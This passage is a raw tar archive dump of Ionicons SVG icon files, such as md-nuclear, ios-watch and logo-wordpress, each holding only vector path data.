21.7 59.2 46.3 85.3 73.3zM301.4 262.8c38.9 44 70.9 93.2 95.3 146.4 36.4-33.5 60.9-79.8 66.2-131.7-47.7-4.7-92.8-22.6-130.8-52-9.6 12.7-20 25.3-30.7 37.3zM235.3 326.2c29.9 39.5 47.5 86.2 51 135.6 33-4.8 63.5-17.4 89.5-35.8-23.4-52.6-54.3-101-92.2-144.2-15.2 15.6-31.4 30.5-48.3 44.4zM214.9 342.3c-32.4 24.4-67.4 45.5-104 62.8 37.5 36.5 88.6 59 145.1 59 1.5 0 3 0 4.5-.1-1.8-25.2-7.6-49.7-17.4-72.9-7.4-17.5-16.8-33.8-28.2-48.8z"/></svg>ionicons/svg/md-nuclear.svg000064400000000551151701353760011745 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M336 272c0-29.8-16.3-55.7-40.4-69.5l73.1-124.1C335.6 59.1 297.1 48 256 48c-41.2 0-79.9 11.2-113.1 30.6l71.6 125C191.4 217.6 176 243 176 272H32c0 83.3 46.9 153.4 114.4 192l70.1-122.4c11.7 6.6 25.1 10.4 39.5 10.4 14.3 0 27.7-3.8 39.3-10.3L365.6 464C433.1 425.4 480 355.3 480 272H336z"/></svg>ionicons/svg/md-pie.svg000064400000000520151701353760011065 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32.6 256H256V32.6c-5-.4-10.6-.6-16-.6-114.9 0-208 93.1-208 208 0 5.4.2 11 .6 16z"/><path d="M109.8 402.2C147.9 449.6 206.4 480 272 480c114.9 0 208-93.1 208-208 0-65.6-30.4-124.1-77.8-162.2C370.5 84.3 331 67.9 288 64.6V288H64.6c3.3 43 19.7 82.5 45.2 114.2z"/></svg>ionicons/svg/md-walk.svg000064400000000643151701353760011254 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M288 112c22.223 0 39.997-17.776 39.997-40 0-22.225-17.774-40-39.997-40s-40.003 17.775-40.003 40c0 22.224 17.78 40 40.003 40zM288 232h104v-40h-72l-44.802-69.333c-7.698-11.667-18.136-18.136-30.933-18.136-3.198 0-8.828.531-12.799 1.747L120 144v112h40v-80l40.531-16L120 480h40l56.698-164.271L267 384v96h38V352l-57.031-96 19.745-61.864L288 232z"/></svg>ionicons/svg/md-contact.svg000064400000000565151701353760011754 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.6 48 48 141.6 48 256s93.6 208 208 208 208-93.6 208-208S370.4 48 256 48zm0 62.4c34.3 0 62.4 28.1 62.4 62.4s-28.1 62.4-62.4 62.4-62.4-28.1-62.4-62.4 28.1-62.4 62.4-62.4zm0 300.4c-52 0-97.8-27-124.8-66.6 1-41.6 83.2-64.5 124.8-64.5s123.8 22.9 124.8 64.5c-27 39.5-72.8 66.6-124.8 66.6z"/></svg>ionicons/svg/md-calendar.svg000064400000000453151701353760012066 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M368.005 272h-96v96h96v-96zm-32-208v32h-160V64h-48v32h-24.01c-22.002 0-40 17.998-40 40v272c0 22.002 17.998 40 40 40h304.01c22.002 0 40-17.998 40-40V136c0-22.002-17.998-40-40-40h-24V64h-48zm72 344h-304.01V196h304.01v212z"/></svg>ionicons/svg/ios-heart-dislike.svg000064400000001005151701353760013226 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M423.8 426.8L56.3 65.1c-5.6-5.5-14.6-5.5-20.1.1-5.5 5.5-5.5 14.5 0 20l367.5 361.7c3.7 3.7 9 4.9 13.7 3.6 2.4-.6 4.6-1.9 6.4-3.7 5.6-5.5 5.6-14.5 0-20zM64 169c0 37 15.2 89.5 46.8 132.7C171 384 272 456 272 456s29.3-20.3 65.7-51.6L68 139c-2.6 9.6-4 19.6-4 30zM434.2 301.7C465.8 258.5 480 206 480 169c0-62.1-50.1-112.4-112-113h-1c-39.7 0-74.8 21-95 52-20.2-31-55.3-52-95-52h-1c-29.2.3-55.8 11.6-75.7 30l281.9 277.4c19.3-19.1 36.2-40 52-61.7z"/></svg>ionicons/svg/md-shuffle.svg000064400000000371151701353760011750 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M222.2 188.1L97.8 64 64 97.8l124.1 124.1 34.1-33.8zM316 64l49 49L64 414.2 97.8 448 399 147l49 49V64H316zm7.9 225.8l-33.8 33.8 75.1 75.1L316 448h132V316l-49 49-75.1-75.2z"/></svg>ionicons/svg/logo-bitbucket.svg000064400000000506151701353760012630 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M452.9 64.2c-.7-.1-1.5-.2-2.2-.2H61.5c-7.4-.1-13.4 5.9-13.5 13.5 0 .8 0 1.6.2 2.4l56.6 352.5c.7 4.3 2.9 8.2 6.1 11.1 3.2 2.9 7.4 4.5 11.7 4.5H394c6.6.1 12.3-4.8 13.3-11.5L441 224H316l-16 96h-88l-22.3-126.9h256.2l18-113.1c1.1-7.5-3.8-14.6-11-15.8z"/></svg>ionicons/svg/md-podium.svg000064400000000215151701353760011606 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 224h128v192H32zM192 128h128v288H192zM352 288h128v128H352z"/></svg>ionicons/svg/ios-close-circle.svg000064400000000762151701353760013056 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm52.7 283.3L256 278.6l-52.7 52.7c-6.2 6.2-16.4 6.2-22.6 0-3.1-3.1-4.7-7.2-4.7-11.3 0-4.1 1.6-8.2 4.7-11.3l52.7-52.7-52.7-52.7c-3.1-3.1-4.7-7.2-4.7-11.3 0-4.1 1.6-8.2 4.7-11.3 6.2-6.2 16.4-6.2 22.6 0l52.7 52.7 52.7-52.7c6.2-6.2 16.4-6.2 22.6 0 6.2 6.2 6.2 16.4 0 22.6L278.6 256l52.7 52.7c6.2 6.2 6.2 16.4 0 22.6-6.2 6.3-16.4 6.3-22.6 0z"/></svg>ionicons/svg/md-ice-cream.svg000064400000000627151701353760012145 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128.1 256l128 224 128-224zM392 161c3-9 4.7-22.7 4.7-32.9 0-53.1-43-96.1-96.1-96.1-31.4 0-59.2 15-76.8 38.3 0 0-9.1 14-10.8 29l-3.4-1c-2.3-9-3.7-20 1.6-31.5-7.4-2.5-9.4-2.8-17.6-2.8-41.7 0-75.6 33.8-75.6 75.6 0 6.3.8 15.5 2.3 21.4-13.9 3.5-24.3 16.1-24.3 31 0 17.6 14.4 32 32 32h256c17.6 0 32-14.4 32-32 0-14.8-10.2-27.4-24-31z"/></svg>ionicons/svg/ios-restaurant.svg000064400000001035151701353760012674 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M384 64c-24.8 0-48 77.3-48 160 0 57 32 80 32 80v128c0 8.8 7.2 16 16 16s16-7.2 16-16V75c0-11-11-11-16-11zM288 64l10 104c0 4.4-3.6 8-8 8s-8-3.6-8-8l-6-104h-8l-6 104c0 4.4-3.6 8-8 8s-8-3.6-8-8l10-104h-8s-24 107.2-24 128 13.4 38.6 32 45.2V432c0 8.8 7.2 16 16 16s16-7.2 16-16V237.2c18.6-6.6 32-24.2 32-45.2S296 64 296 64h-8zM160 64c-26.5 0-48 64-48 128 0 20.8 13.4 38.6 32 45.2V432c0 8.8 7.2 16 16 16s16-7.2 16-16V237.2c18.6-6.6 32-24.2 32-45.2 0-64-21.5-128-48-128z"/></svg>ionicons/svg/ios-color-wand.svg000064400000002346151701353760012557 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M445.7 405.6L201.3 160.4c-3.1-3.1-8.2-3.1-11.3 0l-28.7 28.8c-3.1 3.1-3.1 8.2 0 11.3l244.4 245.2c3.1 3.1 8.2 3.1 11.3 0l28.6-28.8c3.2-3.1 3.2-8.2.1-11.3zm-25.5 14.3l-.1.1c-3.1 3.1-8.2 3.1-11.3 0L218.9 229.5c-3.1-3.1-3.1-8.2 0-11.3l.1-.1c3.1-3.1 8.2-3.1 11.3 0l189.9 190.5c3.1 3.1 3.1 8.2 0 11.3zM192.8 120.1c6.6 0 12-5.4 12-12V76c0-6.6-5.4-12-12-12s-12 5.4-12 12v32.1c0 6.6 5.4 12 12 12zM192.8 263.3c-6.6 0-12 5.4-12 12v32.1c0 6.6 5.4 12 12 12s12-5.4 12-12v-32.1c0-6.6-5.4-12-12-12zM270.7 190.2c0 6.6 5.4 12 12 12h32c6.6 0 12-5.4 12-12s-5.4-12-12-12h-32c-6.6 0-12 5.4-12 12zM119.9 190.2c0-6.6-5.4-12-12-12H76c-6.6 0-12 5.4-12 12s5.4 12 12 12h32c6.5 0 11.9-5.4 11.9-12zM124.8 141c2.3 2.3 5.3 3.5 8.5 3.5s6.2-1.3 8.5-3.5c4.7-4.7 4.7-12.3 0-17l-20.9-21c-2.3-2.3-5.3-3.5-8.5-3.5s-6.2 1.3-8.5 3.5c-4.7 4.7-4.7 12.3 0 17l20.9 21zM133.3 239.9c-3.2 0-6.2 1.3-8.5 3.5l-20.9 21c-2.3 2.3-3.5 5.3-3.5 8.5s1.2 6.2 3.5 8.5 5.3 3.5 8.5 3.5 6.2-1.3 8.5-3.5l20.9-21c4.7-4.7 4.7-12.3 0-17-2.3-2.2-5.3-3.5-8.5-3.5zM252.4 144.5c3.2 0 6.2-1.3 8.5-3.5l20.9-21c4.7-4.7 4.7-12.3 0-17-2.3-2.3-5.3-3.5-8.5-3.5s-6.2 1.3-8.5 3.5l-20.9 21c-2.3 2.3-3.5 5.3-3.5 8.5s1.2 6.2 3.5 8.5c2.3 2.2 5.3 3.5 8.5 3.5z"/></svg>ionicons/svg/ios-cloud-done.svg000064400000001063151701353760012536 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.1 229.8C429 154.6 365.4 96 288 96c-51.2 0-96.3 25.6-123.4 64.7-8.3-3.4-17.4-5.3-26.9-5.3-39.1 0-70.8 34.4-71.4 73.4C26.4 241.5 0 280.5 0 321.5 0 371.7 40.7 416 90.9 416h330.3c50.2 0 90.9-44.3 90.9-94.5-.1-44.7-32.4-84.1-75-91.7zm-74.6-17.3L228.8 346.8h-.1c-1.7 1.7-6.3 5.5-11.6 5.5-3.8 0-8.1-2.1-11.7-5.7l-56-56c-1.6-1.6-1.6-4.1 0-5.7l17.8-17.8c.8-.8 1.8-1.2 2.8-1.2 1 0 2 .4 2.8 1.2l44.4 44.4 122-122.9c.8-.8 1.8-1.2 2.8-1.2 1.1 0 2.1.4 2.8 1.2l17.5 18.1c1.8 1.7 1.8 4.2.2 5.8z"/></svg>ionicons/svg/ios-arrow-dropdown-circle.svg000064400000000542151701353760014731 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 256c0 114.9 93.1 208 208 208s208-93.1 208-208S370.9 48 256 48 48 141.1 48 256zm289.1-43.4c7.5-7.5 19.8-7.5 27.3 0 3.8 3.8 5.6 8.7 5.6 13.6s-1.9 9.9-5.7 13.7l-94.3 94c-7.6 6.9-19.3 6.7-26.6-.6l-95.7-95.4c-7.5-7.5-7.6-19.7 0-27.3 7.5-7.5 19.7-7.6 27.3 0l81.1 81.9 81-79.9z"/></svg>ionicons/svg/md-funnel.svg000064400000000251151701353760011600 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M208 400h96v-47.994h-96V400zM32 112v47.994h448V112H32zm80 168.783h288v-49.555H112v49.555z"/></svg>ionicons/svg/md-code.svg000064400000000320151701353760011220 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M190.4 354.1L91.9 256l98.4-98.1-30-29.9L32 256l128.4 128 30-29.9zm131.2 0L420 256l-98.4-98.1 30-29.9L480 256 351.6 384l-30-29.9z"/></svg>ionicons/svg/ios-pricetag.svg000064400000000607151701353760012306 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M435.2 48H312.3c-3.8 0-7.5 1.5-10.2 4.2L56.4 297.9c-11.2 11.2-11.2 29.5 0 40.7l117 117c11.2 11.2 29.5 11.2 40.7 0L459.7 210c2.7-2.7 4.2-6.4 4.2-10.2v-123C464 60.9 451.1 48 435.2 48zm-47.7 111.8c-20.4 2.2-37.4-14.9-35.3-35.3 1.6-14.8 13.5-26.8 28.3-28.3 20.4-2.2 37.4 14.9 35.3 35.3-1.6 14.8-13.5 26.7-28.3 28.3z"/></svg>ionicons/svg/ios-folder.svg000064400000000617151701353760011764 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 119c0-13.3-9.4-23-22.8-23H198.9c-2.8 0-4.3-.6-6.1-2.4l-22.5-22.5-.2-.2c-4.9-4.6-8.9-6.9-17.3-6.9H56.7C42.9 64 32 74.3 32 87v73.7c0 1.6 1.7 1.5 3 .7s5-1.4 7-1.4h428c2 0 5.7.6 7 1.4 1.3.8 3 .9 3-.7V119zM32 416.4c0 17.5 14.2 31.6 31.6 31.6H448c17.6 0 32-14.4 32-32V204c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v212.4z"/></svg>ionicons/svg/ios-done-all.svg000064400000001157151701353760012204 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M317.5 210.3c1.7-1.8 1.8-4.7 0-6.5l-19.8-21c-.8-.9-2-1.4-3.2-1.4-1.2 0-2.4.5-3.2 1.4l-66.5 69.1 26.4 27.1 66.3-68.7zM123.8 253.1c-.9-.9-2-1.4-3.2-1.4-1.2 0-2.3.5-3.2 1.4l-20.1 20.7c-1.8 1.8-1.8 4.8 0 6.6l63.2 65c4 4.2 9 6.6 13.2 6.6 6 0 11.1-4.5 13.1-6.4l.1-.1 13.4-13.8-76.5-78.6z"/><path d="M414.7 182.4l-19.8-21c-.8-.9-2-1.4-3.2-1.4-1.2 0-2.4.5-3.2 1.4L250.7 304.1l-50.1-51.6c-.9-.9-2-1.4-3.2-1.4-1.2 0-2.3.5-3.2 1.4l-20.1 20.7c-1.8 1.8-1.8 4.8 0 6.6l63.2 65c4 4.2 9 6.6 13.2 6.6 6 0 11.1-4.5 13.1-6.4l.1-.1 151-156.1c1.7-1.7 1.7-4.6 0-6.4z"/></svg>ionicons/svg/md-magnet.svg000064400000001464151701353760011573 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M383.6 98.8C352.1 65.8 308 48.2 256 48c-51.9.2-96 17.8-127.5 50.8C96.8 132 80 178.8 80 234c0 43.5 1.8 69.2 12.9 115.8 0 0 22.7 75.7 35.5 104.1 3.5 7.8 7.4 11.8 15.5 9.3 6.4-2 46.8-17.9 54.7-21.6 7.9-3.6 11.6-8.6 8.9-15.2-3.8-9.2-33.9-95.6-33.9-95.6-8.4-36.3-11.6-53.9-11.6-94.3 0-28.2 9.8-54.1 27.7-72.9 17.5-18.3 41-28.4 66.3-28.4s48.8 10.1 66.3 28.4c17.9 18.8 27.7 44.6 27.7 72.8 0 40-3.2 64-11.7 94.4s-32.2 90.1-33.9 95.6c-1.7 5.6 2.1 12.5 8.9 15.2 6.8 2.7 49.3 19.6 54.7 21.6 5.4 2 10.6.6 14.5-7.7 4-8.3 24.6-61.4 36.5-105.7 12-44.3 13-72.3 13-115.8 0-55.2-16.7-101.9-48.4-135.2zM173.1 419.7l-22.9 9.6c-6.9-16.3-17.2-43.2-25.9-77.2l22-6.5 26.8 74.1zm188.6 9.6l-22.9-9.6c7.2-16.6 19.1-45.1 26.6-74.1l22 6.5c-8.4 33.9-18.7 60.9-25.7 77.2z"/></svg>ionicons/svg/ios-watch.svg000064400000003632151701353760011617 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M440.3 161.3c-15-23.9-36.3-43.3-61.4-56.1-1.9-.9-3.9-1.4-6-1.4-5 0-9.5 2.8-11.8 7.2-1.6 3.1-1.9 6.7-.8 10 1.1 3.3 3.4 6.1 6.6 7.7 20.9 10.7 38.6 26.8 51.1 46.7 12.8 20.4 19.6 44 19.6 68v40.5c0 17.2-3.3 33.4-9.9 48-6.3 14-15.4 26.3-27 36.6-23.2 20.5-55.1 31.9-89.9 31.9-34.4 0-43.6-5.2-52.4-10.2-8.1-4.6-17.3-9.8-37.7-11-31.7-2-56.9-12.4-77.2-31.8-2.5-2.4-5.7-3.7-9.1-3.7-3.6 0-7 1.5-9.5 4.1-2.4 2.5-3.7 5.7-3.7 9.1 0 3.6 1.5 7 4.1 9.5 25 23.9 55.7 36.7 93.8 39.1 14.4.9 19.4 3.7 26.4 7.7 11.3 6.4 24.1 13.6 65.4 13.6 41.6 0 80-13.9 108.1-39.2 14.2-12.8 25.3-28 33-45.2 8-18 12.1-37.6 12.1-58.5v-40.5c-.1-29.1-8.3-57.5-23.8-82.1z"/><path d="M284 383c8.7 1.4 17.2 2.1 25.4 2.1 16 0 31.2-2.7 45-8 13.9-5.4 26.5-13.4 37.5-23.9 5.3-5 5.4-13.4.4-18.6-2.5-2.6-5.9-4.1-9.5-4.1-3.4 0-6.7 1.3-9.1 3.7-17.1 16.3-38.8 24.6-64.5 24.6-6.8 0-13.8-.6-21-1.8-.7-.1-1.4-.2-2.1-.2-6.5 0-12 4.6-13 11-.1.7-.2 1.4-.2 2.1 0 6.6 4.7 12 11.1 13.1zm2.1-21.1h.1-.3.2zM222.9 421.7c-39.9 0-72.8-13.4-102.7-40.3-29.1-26.2-45.8-60.7-45.8-94.5v-43.6c0-24.1 6.8-47.6 19.6-68 12.5-19.9 30.2-36 51.1-46.7 3.1-1.6 5.5-4.3 6.6-7.7 1.1-3.3.8-6.9-.8-10.1-2.3-4.4-6.8-7.2-11.8-7.2-2.1 0-4.1.5-6 1.4-25.1 12.8-46.4 32.2-61.4 56.1-15.5 24.6-23.7 53-23.7 82v43.6c0 41.2 19.9 82.8 54.5 114 34.6 31.2 74 47.1 120.4 47.1 7.3 0 13.2-5.9 13.2-13.2-.1-7-6-12.9-13.2-12.9z"/><g><path d="M348.4 115.1c.8-11.9 10.3-21.6 22.2-22.6 4.3-.4 8.4.4 12 2 2.6 1.1 5.1-1.6 3.9-4.1-2.7-5.7-6.6-10.9-11.5-15.1C366.6 68 355.9 64 344.8 64H167.2c-17.9 0-33.9 10.3-41.5 25.8-1.2 2.5 1.2 5.2 3.9 4.2 3.3-1.3 7-1.8 10.8-1.5 11.9 1 21.4 10.8 22.2 22.7.8 13.6-9.5 25-22.8 25.8-.9.1-1.8.7-2.1 1.5-.4 1.1-.1 2.3.8 3 8.1 6.2 18.1 9.7 28.7 9.7h177.6c10.9 0 21.2-3.6 29.4-10.2 1.7-1.3.7-4-1.4-4h-.1c-14 0-25.2-11.7-24.3-25.9zm-21.6-10.3c3.5 15.8-10.7 30-26.5 26.5-8.4-1.9-15.2-8.6-17-17-3.5-15.8 10.7-30 26.5-26.5 8.4 1.9 15.2 8.6 17 17z"/></g></svg>ionicons/svg/ios-cloudy.svg000064400000000457151701353760012012 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M236 96c-70 0-127.8 59.7-127.8 130.8 0 4.3.3 8.6.8 12.8-43.2 3.9-77 44-77 88.4 0 47 37.9 88 84.6 88h257.8c58.3 0 105.6-49.4 105.6-108s-47.3-108.8-105.6-108.8c-2.3 0-4.8-.2-7.2-.2-2.1 0-4.2 0-6.1.1C349.3 145.6 306 96 236 96z"/></svg>ionicons/svg/ios-timer.svg000064400000001074151701353760011627 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 456c-110.3 0-200-89.7-200-200 0-54.8 21.7-105.9 61.2-144 6.4-6.2 16.6-6 22.7.4 6.2 6.4 6 16.6-.4 22.7-33.1 32-51.3 74.9-51.3 120.9 0 92.5 75.3 167.8 167.8 167.8S423.8 348.5 423.8 256c0-87.1-66.7-159-151.8-167.1v62.6c0 8.9-7.2 16.1-16.1 16.1s-16.1-7.2-16.1-16.1V72.1c0-8.9 7.2-16.1 16.1-16.1 110.3 0 200 89.7 200 200S366.3 456 256 456z"/><path d="M175.9 161.9l99.5 71.5c13.5 9.7 16.7 28.5 7 42s-28.5 16.7-42 7c-2.8-2-5.2-4.4-7-7l-71.5-99.5c-3.2-4.5-2.2-10.8 2.3-14 3.6-2.6 8.3-2.4 11.7 0z"/></svg>ionicons/svg/md-timer.svg000064400000001231151701353760011430 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M232.9 371.6c0 12.7 10.4 23.1 23.1 23.1s23.1-10.4 23.1-23.1c0-12.7-10.4-23.1-23.1-23.1s-23.1 10.3-23.1 23.1zm0-323.6v92.4h46.2V96.1c78.3 11.3 138.7 78.3 138.7 159.9 0 89.4-72.3 161.8-161.8 161.8S94.2 345.4 94.2 256c0-38.8 13.6-74.4 36.5-102.2L256 279.1l32.6-32.6L131.4 89.4v.5C80.8 127.7 48 187.8 48 256c0 114.9 92.9 208 208 208 114.9 0 208-93.1 208-208S370.9 48 256 48h-23.1zm161.8 208c0-12.7-10.4-23.1-23.1-23.1-12.7 0-23.1 10.4-23.1 23.1s10.4 23.1 23.1 23.1c12.7 0 23.1-10.4 23.1-23.1zm-277.4 0c0 12.7 10.4 23.1 23.1 23.1s23.1-10.4 23.1-23.1-10.4-23.1-23.1-23.1-23.1 10.4-23.1 23.1z"/></svg>ionicons/svg/logo-apple.svg000064400000001037151701353760011755 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M333.6 153.9c-33.6 0-47.8 16.5-71.2 16.5-24 0-42.3-16.4-71.4-16.4-28.5 0-58.9 17.9-78.2 48.4-27.1 43-22.5 124 21.4 193 15.7 24.7 36.7 52.4 64.2 52.7h.5c23.9 0 31-16.1 63.9-16.3h.5c32.4 0 38.9 16.2 62.7 16.2h.5c27.5-.3 49.6-31 65.3-55.6 11.3-17.7 15.5-26.6 24.2-46.6-63.5-24.8-73.7-117.4-10.9-152.9-19.2-24.7-46.1-39-71.5-39z"/><path d="M326.2 64c-20 1.4-43.3 14.5-57 31.6-12.4 15.5-22.6 38.5-18.6 60.8h1.6c21.3 0 43.1-13.2 55.8-30.1 12.3-16.1 21.6-38.9 18.2-62.3z"/></svg>ionicons/svg/ios-close-circle-outline.svg000064400000001172151701353760014527 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M331.3 308.7L278.6 256l52.7-52.7c6.2-6.2 6.2-16.4 0-22.6-6.2-6.2-16.4-6.2-22.6 0L256 233.4l-52.7-52.7c-6.2-6.2-15.6-7.1-22.6 0-7.1 7.1-6 16.6 0 22.6l52.7 52.7-52.7 52.7c-6.7 6.7-6.4 16.3 0 22.6 6.4 6.4 16.4 6.2 22.6 0l52.7-52.7 52.7 52.7c6.2 6.2 16.4 6.2 22.6 0 6.3-6.2 6.3-16.4 0-22.6z"/><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>ionicons/svg/logo-wordpress.svg000064400000002236151701353760012706 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M259 271.3L226.2 367h-.1l-25.4 73.1c1.8.5 3.5.9 5.3 1.4h.3c15.8 4.2 32.4 6.5 49.5 6.5 8.5 0 16.8-.5 24.9-1.8 11.2-1.4 22-3.8 32.5-7.1 2.6-.8 5.2-1.7 7.8-2.6-2.8-6-8.8-19.3-9.1-19.9L259 271.3zM80.8 180.5C70.8 203.1 64 230.9 64 256c0 6.3.3 12.6.9 18.8 6.9 71.2 52.9 131 116.1 157.9 2.6 1.1 5.3 2.2 8 3.2L96 180.6c-8-.3-9.5.2-15.2-.1z"/><path d="M430.2 175.4c-4.3-9.3-9.4-18.2-15.1-26.6-1.6-2.4-3.4-4.8-5.1-7.2-21.5-28.8-50.8-51.4-84.9-64.6-21.4-8.4-44.8-13-69.2-13-60.3 0-114.2 28-149.4 71.7-6.5 8-12.3 16.6-17.5 25.6 14.2.1 31.8.1 33.8.1 18.1 0 46-2.2 46-2.2 9.4-.6 10.4 13.1 1.1 14.2 0 0-9.4 1.1-19.8 1.6L213 362l37.8-113.3-26.8-73.6c-9.4-.5-18.1-1.6-18.1-1.6-9.4-.5-8.2-14.8 1-14.2 0 0 28.5 2.2 45.5 2.2 18.1 0 46-2.2 46-2.2 9.3-.6 10.5 13.1 1.1 14.2 0 0-9.3 1.1-19.7 1.6l62.3 185.6 17.3-57.6c8.7-22.4 13.1-40.9 13.1-55.7 0-21.3-7.7-36.1-14.3-47.6-8.7-14.3-16.9-26.3-16.9-40.4 0-15.9 12-30.7 29-30.7h2.2c26.2-.7 34.8 25.3 35.9 43v.6c.4 7.2.1 12.5.1 18.8 0 17.4-3.3 37.1-13.1 61.8l-39 112.8-22.3 65.7c1.8-.8 3.5-1.6 5.3-2.5 56.7-27.4 98-82 106.7-146.7 1.3-8.5 1.9-17.2 1.9-26 0-28.9-6.4-56.3-17.8-80.8z"/></svg>ionicons/svg/ios-heart-half.svg000064400000001034151701353760012516 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 56h-1c-39.7 0-74.8 21-95 52-20.2-31-55.3-52-95-52h-1c-61.9.6-112 50.9-112 113 0 37 16.2 89.5 47.8 132.7C156 384 256 456 256 456s100-72 160.2-154.3C447.8 258.5 464 206 464 169c0-62.1-50.1-112.4-112-113zm41.6 229.2C356.4 336 302.2 383.6 269 410.5c-5.2 4.2-13 .5-13-6.2V198.6c0-26.8 8.5-52.7 23.3-75 .1-.1.1-.2.2-.2 7.7-11.8 18.2-21.6 30.4-28.5 12.6-7.1 26.8-10.8 41.1-10.8h.9c22.5.2 43.7 9.1 59.6 25.1 15.9 16 24.6 37.3 24.6 59.8-.1 29-13.2 76.1-42.5 116.2z"/></svg>ionicons/svg/ios-close.svg000064400000000636151701353760011617 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M278.6 256l68.2-68.2c6.2-6.2 6.2-16.4 0-22.6-6.2-6.2-16.4-6.2-22.6 0L256 233.4l-68.2-68.2c-6.2-6.2-16.4-6.2-22.6 0-3.1 3.1-4.7 7.2-4.7 11.3 0 4.1 1.6 8.2 4.7 11.3l68.2 68.2-68.2 68.2c-3.1 3.1-4.7 7.2-4.7 11.3 0 4.1 1.6 8.2 4.7 11.3 6.2 6.2 16.4 6.2 22.6 0l68.2-68.2 68.2 68.2c6.2 6.2 16.4 6.2 22.6 0 6.2-6.2 6.2-16.4 0-22.6L278.6 256z"/></svg>ionicons/svg/md-cloudy.svg000064400000000643151701353760011615 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M123.4 183c.4-.1.8-.1 1.2-.2-.5.1-.8.2-1.2.2z"/><path d="M393.2 219.2C380.5 154.6 323.9 106 256 106c-39.7 0-76 14-100.9 45.4 34.3 2.6 66.1 15.2 90.7 39.8 18.2 18.2 31 40.5 37.4 64.8h-33.5c-15.3-43.7-56-75-105.7-75-6 0-14.3.7-20.6 2C70 194 32 238.4 32 293.5 32 355.6 82.2 406 144 406h242.7c51.5 0 93.3-42 93.3-93.8 0-49.4-38.3-89.6-86.8-93z"/></svg>ionicons/svg/md-help.svg000064400000000357151701353760011250 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M289 448h-66v-65h66v65zm-1-98h-64c0-101 96-95.1 96-159 0-35.2-28.8-63.4-64-63.4S192 158 192 192h-64c0-71 57.3-128 128-128s128 56.4 128 127c0 79.9-96 89-96 159z"/></svg>ionicons/svg/md-arrow-round-back.svg000064400000000504151701353760013467 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M401.4 224h-214l83-79.4c11.9-12.5 11.9-32.7 0-45.2s-31.2-12.5-43.2 0L89 233.4c-6 5.8-9 13.7-9 22.4v.4c0 8.7 3 16.6 9 22.4l138.1 134c12 12.5 31.3 12.5 43.2 0 11.9-12.5 11.9-32.7 0-45.2l-83-79.4h214c16.9 0 30.6-14.3 30.6-32 .1-18-13.6-32-30.5-32z"/></svg>ionicons/svg/ios-cloud-upload.svg000064400000001062151701353760013074 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.1 165.8C429 90.6 365.4 32 288 32c-51.2 0-96.3 25.6-123.4 64.7-8.3-3.4-17.4-5.3-26.9-5.3-39.1 0-70.8 34.4-71.4 73.4C26.4 177.5 0 216.5 0 257.5 0 307.7 40.7 352 90.9 352H243V210.1l-47.9 47.2c-5.1 5-13.3 5-18.4-.1-5-5.1-5-13.3.1-18.4l70-69c1.2-1.1 2.5-2.1 4.1-2.7 1.6-.7 3.3-1 5-1 3.4 0 6.6 1.3 9.1 3.7l70 69c5.1 5 5.2 13.3.1 18.4-5 5.1-13.3 5.2-18.4.1L269 210.1V352h152.1c50.2 0 90.9-44.3 90.9-94.5 0-44.7-32.3-84.1-74.9-91.7zM243 467c0 7.2 5.8 